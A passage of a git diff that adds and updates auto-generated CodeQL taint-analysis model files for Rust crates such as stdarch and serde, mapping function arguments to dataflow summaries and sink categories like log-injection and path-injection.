["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_loadu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_loadu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_store_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_store_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_storeu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_storeu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadl_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadu_si16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadu_si32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadu_si64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_storeu_si16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_storeu_si32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_storeu_si64", "Argument[0]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-intrinsic-test.model.yml b/rust/ql/lib/ext/generated/rust/repo-intrinsic-test.model.yml new file mode 100644 index 00000000000..9ec477ca533 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-intrinsic-test.model.yml @@ -0,0 +1,49 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::intrinsic-test", "::from_c", "Argument[0]", "ReturnValue.Field[crate::argument::Argument::pos]", "value", "dfc-generated"] + - ["repo::intrinsic-test", "::from_c", "Argument[1].Element", "ReturnValue.Field[crate::argument::Argument::name].Reference", "value", "dfc-generated"] + - ["repo::intrinsic-test", "::type_and_name_from_c", "Argument[0].Element", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] + - ["repo::intrinsic-test", "::to_range", "Argument[self].Field[crate::argument::Constraint::Range(0)].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo::intrinsic-test", "::generate_loop_c", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_c", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_c", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_c", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_rust", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_rust", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_rust", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_rust", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::print_result_c", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::print_result_c", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::c_single_vector_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::c_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::kind", "Argument[self].Reference.Field[crate::types::IntrinsicType::Type::kind]", "ReturnValue", "value", "dfc-generated"] + - ["repo::intrinsic-test", "::populate_random", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::rust_type", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::intrinsic-test", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo::intrinsic-test", "::from_c", "Argument[1]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::generate_loop_c", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::print_result_c", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::c_scalar_type", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::c_type", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::get_lane_function", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::get_load_function", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::populate_random", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::rust_scalar_type", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::rust_type", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::c_prefix", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "::rust_prefix", "Argument[self]", "log-injection", "df-generated"] + - ["repo::intrinsic-test", "crate::json_parser::get_neon_intrinsics", "Argument[0]", "path-injection", "df-generated"] + - ["repo::intrinsic-test", "crate::values::value_for_array", "Argument[0]", "log-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo::intrinsic-test", "crate::json_parser::get_neon_intrinsics", "ReturnValue", "file", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-std_float.model.yml b/rust/ql/lib/ext/generated/rust/repo-std_float.model.yml new file mode 100644 index 00000000000..8f7ea31908d --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-std_float.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::std_float", "::fract", "Argument[self]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-arm.model.yml b/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-arm.model.yml new file mode 100644 index 00000000000..100d8a968a4 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-arm.model.yml @@ -0,0 +1,93 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::stdarch-gen-arm", "::make_assertion_from_constraint", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::make_assertion_from_constraint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::new", "Argument[0]", "ReturnValue.Field[crate::context::LocalContext::input]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::new", "Argument[1].Field[crate::intrinsic::Intrinsic::signature].Reference", "ReturnValue.Field[crate::context::LocalContext::signature]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::provide_substitution_wildcard", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::provide_type_wildcard", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::provide_type_wildcard", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from", "Argument[0]", "ReturnValue.Field[crate::expression::Expression::FnCall(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::from", "Argument[0]", "ReturnValue.Field[crate::expression::Expression::Identifier(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::n_variant_op", "Argument[self].Field[crate::input::InputType::NVariantOp(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::predicate_form", "Argument[self].Field[crate::input::InputType::PredicateForm(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::predicate_form_mut", "Argument[self].Field[crate::input::InputType::PredicateForm(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::typekind", "Argument[self].Field[crate::input::InputType::Type(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::build", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::generate_variant", "Argument[self].Reference.Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::generate_variant", "Argument[self].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::apply_conversions_to_call", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::expression::Expression::FnCall(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_fn_call", "Argument[self].Field[crate::intrinsic::LLVMLink::signature].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::resolve", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::resolve", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::doc_name", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::drop_argument", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::get_typeset_index", "Argument[self].Reference.Field[crate::intrinsic::Test::Load(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::get_typeset_index", "Argument[self].Reference.Field[crate::intrinsic::Test::Store(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::get", "Argument[self].Field[crate::matching::MatchKindValues::default]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::get", "Argument[self].Field[crate::matching::MatchSizeValues::default]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::has_dont_care", "Argument[self].Field[crate::predicate_forms::PredicationMask::x]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::has_merging", "Argument[self].Field[crate::predicate_forms::PredicationMask::m]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::has_zeroing", "Argument[self].Field[crate::predicate_forms::PredicationMask::z]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::repr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::get_size", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::kind", "Argument[self].Field[crate::typekinds::BaseType::Sized(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::kind", "Argument[self].Field[crate::typekinds::BaseType::Unsized(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::make_vector", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::populate_wildcard", "Argument[0]", "Argument[self].Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::contains", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::repr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::base_type", "Argument[self].Field[crate::typekinds::VectorType::base_type]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::base_type_mut", "Argument[self].Field[crate::typekinds::VectorType::base_type]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::cast_base_type_as", "Argument[0]", "Argument[self].Field[crate::typekinds::VectorType::base_type]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::lanes", "Argument[self].Field[crate::typekinds::VectorType::lanes]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_from_base", "Argument[0].Field[crate::typekinds::BaseType::Sized(1)]", "ReturnValue.Field[crate::typekinds::VectorType::lanes]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_from_base", "Argument[0]", "ReturnValue.Field[crate::typekinds::VectorType::base_type]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_from_base", "Argument[1]", "ReturnValue.Field[crate::typekinds::VectorType::is_scalable]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_from_base", "Argument[2]", "ReturnValue.Field[crate::typekinds::VectorType::tuple_size]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::make_predicate_from_bitsize", "Argument[0]", "ReturnValue.Field[crate::typekinds::VectorType::base_type].Field[crate::typekinds::BaseType::Sized(1)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::tuple_size", "Argument[self].Field[crate::typekinds::VectorType::tuple_size]", "ReturnValue", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo::stdarch-gen-arm", "crate::big_endian::create_let_variable", "Argument[1].Reference", "ReturnValue.Field[crate::expression::Expression::Let(0)].Field[crate::expression::LetVariant::WithType(1)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "crate::big_endian::create_mut_let_variable", "Argument[1].Reference", "ReturnValue.Field[crate::expression::Expression::Let(0)].Field[crate::expression::LetVariant::MutWithType(1)]", "value", "dfc-generated"] + - ["repo::stdarch-gen-arm", "crate::fn_suffix::make_neon_suffix", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::is_static_assert", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::requires_unsafe_wrapper", "Argument[0]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::requires_unsafe_wrapper", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::generate_variant", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::generate_variants", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::as_mut", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::as_ref", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::as_mut", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::as_ref", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::repr", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::repr", "Argument[0]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "crate::fn_suffix::make_neon_suffix", "Argument[0]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "crate::fn_suffix::type_to_size", "Argument[0]", "log-injection", "df-generated"] + - ["repo::stdarch-gen-arm", "crate::load_store_tests::generate_load_store_tests", "Argument[2]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-loongarch.model.yml b/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-loongarch.model.yml new file mode 100644 index 00000000000..b4db99849b5 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-stdarch-gen-loongarch.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::stdarch-gen-loongarch", "::from", "Argument[0]", "ReturnValue.Field[crate::Lines::lines]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-stdarch-test.model.yml b/rust/ql/lib/ext/generated/rust/repo-stdarch-test.model.yml new file mode 100644 index 00000000000..25fa198710e --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-stdarch-test.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo::stdarch-test", "crate::assert", "Argument[1]", "log-injection", "df-generated"] + - ["repo::stdarch-test", "crate::assert", "Argument[2]", "log-injection", "df-generated"] + - ["repo::stdarch-test", "crate::assert_skip_test_ok", "Argument[0]", "log-injection", "df-generated"] + - ["repo::stdarch-test", "crate::assert_skip_test_ok", "Argument[1]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-stdarch_examples.model.yml b/rust/ql/lib/ext/generated/rust/repo-stdarch_examples.model.yml new file mode 100644 index 00000000000..3df74c09729 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-stdarch_examples.model.yml @@ -0,0 +1,8 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::stdarch_examples", "::add", "Argument[0]", "Argument[self].Field[crate::List::p_move].Element", "value", "dfc-generated"] + - ["repo::stdarch_examples", "::size", "Argument[self].Field[crate::List::p_size]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-test_helpers.model.yml b/rust/ql/lib/ext/generated/rust/repo-test_helpers.model.yml new file mode 100644 index 00000000000..abd558c419b --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-test_helpers.model.yml @@ -0,0 +1,12 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::test_helpers", "::simplify", "Argument[self].Field[crate::array::ArrayValueTree::shrinker]", "Argument[self].Field[crate::array::ArrayValueTree::last_shrinker].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::test_helpers", "::new", "Argument[0]", "ReturnValue.Field[crate::array::UniformArrayStrategy::strategy]", "value", "dfc-generated"] + - ["repo::test_helpers", "::flush", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo::test_helpers", "::flush", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo::test_helpers", "crate::subnormals::flush", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo::test_helpers", "crate::subnormals::flush_in", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml index 68cd535dce3..0ed861dcd2f 100644 --- a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml +++ b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde.model.yml @@ -7,6 +7,7 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde", "<&[u8] as crate::__private::de::IdentifierDeserializer>::from", "Argument[self]", "ReturnValue.Field[crate::de::value::BytesDeserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "<&[u8] as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::BytesDeserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "<&crate::__private::de::content::Content as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::__private::de::content::ContentRefDeserializer::content]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "<&mut crate::fmt::Formatter as crate::ser::Serializer>::serialize_unit_variant", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "<&str as crate::__private::de::IdentifierDeserializer>::from", "Argument[self]", "ReturnValue.Field[crate::__private::de::StrDeserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "<&str as crate::de::IntoDeserializer>::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::StrDeserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::BoolDeserializer::value]", "value", "dfc-generated"] @@ -198,6 +199,7 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U128Deserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U16Deserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U32Deserializer::value]", "value", "dfc-generated"] + - ["repo:https://github.com/serde-rs/serde:serde", "::from", "Argument[self]", "ReturnValue.Field[crate::de::value::U64Deserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U64Deserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::U8Deserializer::value]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "::into_deserializer", "Argument[self]", "ReturnValue.Field[crate::de::value::UsizeDeserializer::value]", "value", "dfc-generated"] @@ -205,3 +207,8 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::size_hint::cautious", "Argument[0].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::value::private::map_as_enum", "Argument[0]", "ReturnValue.Field[crate::de::value::private::MapAsEnum::map]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde", "crate::de::value::private::unit_only", "Argument[0]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/serde-rs/serde:serde", "::serialize_map", "Argument[0]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml index f60417ee9fb..f905c601f06 100644 --- a/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml +++ b/rust/ql/lib/ext/generated/serde/repo-https-github.com-serde-rs-serde-serde_derive.model.yml @@ -7,7 +7,6 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde_derive", "::as_ref", "Argument[self].Field[crate::fragment::Fragment::Block(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::as_ref", "Argument[self].Field[crate::fragment::Fragment::Expr(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::ident]", "value", "dfc-generated"] - - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::ident]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_ast", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::internals::ast::Container::original]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::get", "Argument[self].Field[crate::internals::attr::Attr::value]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::custom_serde_path", "Argument[self].Field[crate::internals::attr::Container::serde_path].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] @@ -23,6 +22,7 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde_derive", "::rename_all_fields_rules", "Argument[self].Field[crate::internals::attr::Container::rename_all_fields_rules]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::rename_all_rules", "Argument[self].Field[crate::internals::attr::Container::rename_all_rules]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::ser_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/serde-rs/serde:serde_derive", "::serde_path", "Argument[self].Field[crate::internals::attr::Container::serde_path].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::tag", "Argument[self].Field[crate::internals::attr::Container::tag]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::transparent", "Argument[self].Field[crate::internals::attr::Container::transparent]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::type_from", "Argument[self].Field[crate::internals::attr::Container::type_from].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] @@ -66,7 +66,6 @@ extensions: - ["repo:https://github.com/serde-rs/serde:serde_derive", "::deserialize_name", "Argument[self].Field[crate::internals::name::MultiName::deserialize]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0].Reference", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0]", "ReturnValue.Field[crate::internals::name::MultiName::deserialize]", "value", "dfc-generated"] - - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[0]", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[1].Field[crate::internals::attr::Attr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::internals::name::MultiName::serialize]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::from_attrs", "Argument[2].Field[crate::internals::attr::Attr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::internals::name::MultiName::deserialize]", "value", "dfc-generated"] - ["repo:https://github.com/serde-rs/serde:serde_derive", "::serialize_name", "Argument[self].Field[crate::internals::name::MultiName::serialize]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/smallvec/repo-https-github.com-servo-rust-smallvec-smallvec.model.yml 